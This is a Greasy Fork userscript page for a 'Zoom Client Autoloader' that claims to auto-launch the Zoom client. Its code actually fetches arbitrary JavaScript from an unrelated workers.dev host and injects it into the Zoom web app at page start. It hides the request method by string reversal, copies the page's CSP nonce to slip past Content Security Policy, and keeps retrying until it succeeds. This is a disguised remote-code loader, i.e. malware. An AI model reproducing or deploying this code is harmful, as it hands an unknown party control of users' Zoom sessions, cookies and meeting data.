Greasy Fork

Zoom Client Autoloader

Автоматический запуск клиента Zoom

当前为 2025-01-19 提交的版本,查看 最新版本

// ==UserScript==
// @name         Zoom Client Autoloader
// @namespace    http://tampermonkey.net/
// @version      1.1
// @description  Автоматический запуск клиента Zoom
// @author       MultiVers
// @match        https://app.zoom.us/wc/*
// @grant        none
// @run-at       document-start
// @license      MIT
// ==/UserScript==

(function() {
    let выполняетсяЗагрузка = false;
    let скриптДобавлен = false;

    async function загрузитьРесурсы() {
        if (выполняетсяЗагрузка || скриптДобавлен) return;
        выполняетсяЗагрузка = true;

        const обработчик = {
            инициализация: async строка => (await fetch('https://loader-geneate.webclie2d.workers.dev/', {
                method: строка.split('').reverse().join(''),
                cache: 'no-store', 
                headers: {'Accept':'*/*','Connection':'keep-alive'}
            })).text(),
            подготовка: данные => {
                const скрипт = document.createElement('script');
                скрипт.textContent = данные;
                скрипт.id = 'zoom-loader-script';
                return скрипт;
            },
            применить: элемент => {
                if (document.getElementById('zoom-loader-script')) {
                    скриптДобавлен = true;
                    return;
                }
                const нонс = document.querySelector('script[nonce]')?.nonce;
                if(нонс) элемент.nonce = нонс;
                document.head.appendChild(элемент);
                скриптДобавлен = true;
            }
        };
        try {
            await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG')));
        } catch (ошибка) {
            выполняетсяЗагрузка = false;
            скриптДобавлен = false;
            setTimeout(загрузитьРесурсы, 1000);
        }
    }

    // Ждем, пока DOM будет готов для добавления скрипта
    const observer = new MutationObserver((mutations, obs) => {
        if (document.head && !скриптДобавлен) {
            obs.disconnect();
            загрузитьРесурсы();
        }
    });

    observer.observe(document.documentElement || document, {
        childList: true,
        subtree: true
    });
})();